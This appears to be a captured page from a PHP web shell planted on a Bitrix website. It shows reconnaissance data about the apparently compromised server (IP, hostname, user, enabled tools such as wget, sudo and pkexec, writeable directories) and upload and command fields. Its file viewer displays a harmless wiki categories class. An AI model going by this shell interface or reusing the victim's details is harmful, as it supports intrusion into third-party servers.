403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wiki/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wiki/classes/general/wiki_categories.php
<?
/* Categories list*/
class CWikiCategories
{
	private $arItems=array();

	public function addItem($catParams)
	{
		$this->arItems[mb_strtolower($catParams->sName)] = array(
			'TITLE' => $catParams->sTitle,
			'NAME' => $catParams->sName,
			'CNT' => $catParams->iItemsCount,
			'IS_RED' => $catParams->bIsRed,
			'LINK' => $catParams->sLink
		);

		return true;
	}

	public function getItems()
	{
		return $this->arItems;
	}

	public function getItemsNames()
	{
		$arItemsNames = array();

		foreach ($this->arItems as $arItem)
			$arItemsNames[] = 'category:'.$arItem["NAME"];

		return $arItemsNames;
	}
}

class CWikiCategoryParams
{
	public $sName = "";
	public $sTitle = "";
	public $iItemsCount = 0;
	public $bIsRed = false;
	public $sLink = "";

	private $sPathTemplate = "";

	public function setPathTemplate($sTemplate)
	{
		$this->sPathTemplate = $sTemplate;
	}

	public function createLinkFromTemplate($sTemplate="")
	{
		if((!$this->sPathTemplate && !$sTemplate) || !$this->sName)
			return false;

		$this->sLink = CComponentEngine::MakePathFromTemplate($sTemplate != "" ? $sTemplate : $this->sPathTemplate,
						array(
						'wiki_name' => rawurlencode('Category:'.$this->sName),
						'group_id' => CWikiSocnet::$iSocNetId
						));
		return true;
	}

	public function clear($bClearTemplate = false)
	{
		$this->sName = $this->sTitle = $this->sLink = "";
		$this->iItemsCount = 0;
		$this->bIsRed = false;

		if($bClearTemplate)
			$this->sPathTemplate = "";

		return true;
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit